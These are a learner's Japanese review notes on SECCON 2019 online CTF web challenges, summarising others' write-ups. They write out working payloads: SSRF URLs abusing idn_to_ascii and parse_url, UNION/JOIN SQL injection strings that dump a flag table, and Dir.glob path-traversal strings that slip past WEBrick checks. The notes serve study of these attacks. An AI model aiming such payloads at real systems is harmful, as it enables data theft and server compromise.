復習するのにむちゃくちゃ時間かかった。途中で力尽きた。
Option-Cmd-U
- ソースコードを見ると、file_get_contentsが使われていて、SSRFで攻撃しようという問題
- 作者想定解:Host/Split解法 [1,2,3]
- いろんな回避方法 [4,5,7]
- [4,5]
http://nginx:80/flag.php
- [4,5]
http://@nginx/flag.php
- [4,5]
http://nginx/flag.php
- [5]にバイパスできる理由がわかりやすく書いてある。とても参考になる
- [7]
http://a:.@✊nginx:80.:/flag.php
- idn_to_asciiを通すと
http://a:.xn--@nginx:80-5s4f.:/flag.php
となって、取れる(そうなん?!)
- idn_to_asciiを通すと
- [4,5]
- ローカルIPの推測, DNS Rebinding [6,9]
- IPアドレスをいじると
172.25.0.3
がnginxのIPアドレスであるとわかる - PHP-FPMなのでPHPサーバーをHTTPで叩くことはできないとのこと。サーバサイド全然わからん
- [6] 『最初のidn_to_asciiはドメイン名にだけ掛けているのに、ファイルを取得するときはURL全体なのが脆弱性』着眼点が素晴らしすぎる。なるほど。そういう風に見るのか。
http://hoge.fuga@あa.sweetduet.info/flag.php
の…- ドメイン名にidn_to_asciiすると、
xn--a-w7t.sweetduet.info
- URL全体にidn_to_asciiすると、.で区切って処理するので、
http://hoge.xn--fuga@a-m43e.sweetduet.info/flag.php
- ドメイン名にidn_to_asciiすると、
- なるほどすぎる。後は、
a-m43e.sweetduet.info
に対して特定した172.25.0.3
を登録してアクセスする
- IPアドレスをいじると
- parse_urlを欺く [7]
- 参考
- [1] https://twitter.com/lmt_swallow/status/1185800291687505920
- [2] https://graneed.hatenablog.com/entry/2019/10/20/171619#Option-Cmd-U
- [3] https://medium.com/hmif-itb/seccon-2019-writeup-84be9da7a1e9#d49a
- [4] https://ctftime.org/writeup/16963
- [5] https://qiita.com/takdcloose/items/c761af8c62de8ee5b34c
- [6] https://qiita.com/kusano_k/items/6ad4c50dbfffb96e0fca#option-cmd-u-190-pt-106-solves
- [7] https://st98.github.io/diary/posts/2019-10-20-seccon-online-ctf.html#option-cmd-u-web-190
- [8] https://blog.nhiroki.net/2019/10/20/seccon-2019-qual-write-up
- [9] https://ctftime.org/writeup/16925
web_search
- 前提調査
- 前半解法
- 後半解法
- ぶっこ抜くとflagテーブルに残りがあると提示されるので、そちらのデータを持ってくる
- ,が使えないのが大変
- [1]「UNIONを用いてflagを表示させたいが、,が消されるのでカラム数を合わせることが難しい」確かに
- UNION SELECTの後でnull,とか使ってカラム数を調整するのではなく、joinを使って調整する
- 元々のSQL文でのカラム数は3つのようだ
- これ
- [1]
' OORR '1' = '1' /**/ UNION /**/ SELECT /**/ * /**/ FROM /**/ (SELECT /**/ * /**/ FROM /**/ flag)aaa /**/ CROSS /**/ JOIN /**/ (SELECT /**/ * /**/ FROM /**/ flag)bbb /**/ CROSS /**/ JOIN /**/ (SELECT /**/ * /**/ FROM /**/ flag)ccc#"
- CROSS JOINを使うことにする
UNION SELECT * FROM (SELECT * FROM flag) aaa CROSS JOIN (SELECT * FROM flag) bbb CROSS JOIN (SELECT * FROM flag) ccc
と解釈される。JOIN (SELECT文) aaa
とあるが、JOIN (SELECT文) AS aaa
と一緒。ASが省略されていて、select文を入れるときはASが必須(多分)
- [2]
t'UNION/**/SELECT/**/*/**/FROM/**/(SELECT/**/*/**/FROM/**/flag)/**/AS/**/a/**/JOIN/**/(SELECT/**/1)/**/AS/**/b/**/JOIN/**/(SELECT/**/2)/**/AS/**/c#
t'UNION SELECT * FROM (SELECT * FROM flag) AS a JOIN (SELECT 1) AS b JOIN (SELECT 2) AS c#
と解釈される- 上と方針は一緒。
SELECT 1
とすると、カラムが1つで中身が1のテーブルを作れる
- [3]
- カラム名をまず特定する。MySQLなので、inforrmation_schema.columnsが見られる。
neko'union/**/select*from(select/**/1)a/**/join(select/**/column_name/**/from/**/inforrmation_schema.columns/**/where/**/table_name='flag')b/**/join(select/**/3)c;#
- pieceというカラム名が得られるので、
neko'union/**/select*from(select/**/1)a/**/join(select/**/piece/**/from/**/flag)b/**/join(select/**/3)c;#
で取得
- カラム名をまず特定する。MySQLなので、inforrmation_schema.columnsが見られる。
- [4] Blind SQL Injectionしている。何もかも特定している。こわい
- テーブル名もカラム名も中身もぶっこ抜いてる
- 確かにこれなら抜ける
- 参考
- [1] https://minaminao.com/post/2019-10-20-seccon-online-ctf/
- [2] https://qiita.com/kusano_k/items/6ad4c50dbfffb96e0fca#web_search-212-pt-93-solves
- [3] https://st98.github.io/diary/posts/2019-10-20-seccon-online-ctf.html#web_search-web-212
- [4] https://graneed.hatenablog.com/entry/2019/10/20/171619#web_search
fileserver
- 前半解法
http://fileserver.chal.seccon.jp:9292/
にアクセスすると色々見えちゃう- ディレクトリトラバーサルの問題か [3]
- app.rbを見るとフラグをランダムな名前で/tmp/flags/においているので、これをとってくる
- ランダムなファイル名を特定したい
- app.rbから脆弱性を探す
- 末尾が
/
のときは、42行目で分岐が入り、47行目でそのディレクトリのファイル名を取得している - 43行目で
.
が存在していたらエラーにしているので、../は使えない - [1,2,3,4] Dir.globのヌル文字による挙動を利用
- 末尾が
- 後半解法
- 普通に
http://fileserver.chal.seccon.jp:9292/../tmp/flags/flagname.txt
とするとダメ。- Chromeだと自動で
http://fileserver.chal.seccon.jp:9292/tmp/flags/flagname.txt
になる - curlでやってみると、req.pathには
/tmp/flags/flagname.txt
となって出てくる。- WEBrickのURLのノーマライゼーション処理 [1]
- Chromeだと自動で
- 今回の問題の重要なところは、「WEBrickの正規化処理」と「is_bad_pathチェック」の両方をすり抜けるペイロード作成
- is_bad_pathの脆弱性
[
はあるが、]
がないときに問題なしで帰ってくるらしい- なんか全然わからんぞ…
- Dir.globの
{}
の仕様- Dir.globでは
{A,B}C
と書くとAC
とCB
のOR検索になる。これを利用して…- 不要な文字を入れ込める
{不要,必要}
- 事前のフィルタリングを回避できる
{.}{.}/
と書くと../
のフィルタリングを回避しつつ、Dir.globでは../
で解釈される
- 不要な文字を入れ込める
- Dir.globでは
- 攻撃コード
- [1]
/.\./.\./.\./.\./.\./.\./.\./tm{p,\[}/flags/xxx.txt
- req.pathには
/.%5C./.%5C./.%5C./.%5C./.%5C./.%5C./.%5C./tm%7Bp,%5C%5B%7D/flags/xxx.txt
で来る - is_bad_pathは
[
があるからOKで通る - Dir.globには省略可能な第二引数として
File.fnmatch
のフラグをつけることができる
- req.pathには
- [1]
/.{a,}./.{a,}./.{a,}./.{a,}./tm{[,p}/flags/xxx.txt
- WEBrickの正規化処理を
{a,}
を入れ込むことで回避
- WEBrickの正規化処理を
- [1]
/{aa[a,/tmp/flags/xxx.txt}
- これで、大胆にも絶対パスとして
/tmp/flags/xxx.txt
を取得可能
- これで、大胆にも絶対パスとして
- [1]
/{.}{.}/{.}{.}/{.}{.}/{.}{.}/tm{[,p}/flags/xxx.txt
- [2]
/{[,}{.}{.}/tmp/flags/s7AD49PrpULN0XCgqJ5nx0yw7ovkusrz.txt
- [3]
http://fileserver.chal.seccon.jp:9292/%7B%5B,/tmp/flags/mYIKCsvCxSt8dyFZBwEigSE767LClauK.txt%7D
- 3番目の攻撃コードとほぼ同じ
- [4]
http://fileserver.chal.seccon.jp:9292/%7B.,%5b%7D./tmp/flags/JdQI8p0VQhRnHwM0kenRPF4hTiFBJFt8.txt
- [5]
http://fileserver.chal.seccon.jp:9292/%7b%5b,/%7dtmp/flags/MMnHIU0fofiPdL1HlJkyQgDu4O8YNERR.txt
- [1]
- 普通に
- 参考
- [1] https://hakatashi.hatenadiary.com/entry/2019/10/20/223201
- [2] https://qiita.com/kusano_k/items/6ad4c50dbfffb96e0fca#fileserver-345-pt-39-solves
- [3] https://graneed.hatenablog.com/entry/2019/10/20/171619#Option-Cmd-U
- [4] https://medium.com/hmif-itb/seccon-2019-writeup-84be9da7a1e9#46d6
- [5] https://github.com/p4-team/ctf/tree/master/2019-10-19-seccon/fileserver
SPA
- 解法
- 弱そうな所はADMINへの報告機能だろう
- とりあえずRequestBinでアドレスを指定して送ってみる
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3941.4 Safari/537.36
とヘッドレスブラウザが動いている- 不正なアドレスを送りつけて、サーバ側のヘッドレスブラウザから危ないことをしてやろうという作戦
- セッションジャックか?このサイトに対する管理者のセッションを抜いてやろうという悪意か
- なので、まずはサイト内でXXSっぽいことができないか探す
- 参考
SECCON_multiplicater
- 解法
- 計算をしてくれるサイト。コマンドインジェクションか?
- bashでcgiが作られている
- [2]
算術式 bash osコマンド
で検索すると bashの危険な算術式が出てくる - どういう危険性なのか
- [1] 致命的な問題はtypeset -i(整数型宣言)に潜んでおり、整数型宣言された変数への代入は、算術評価されてから行われるという点
- もうつかれた
- 参考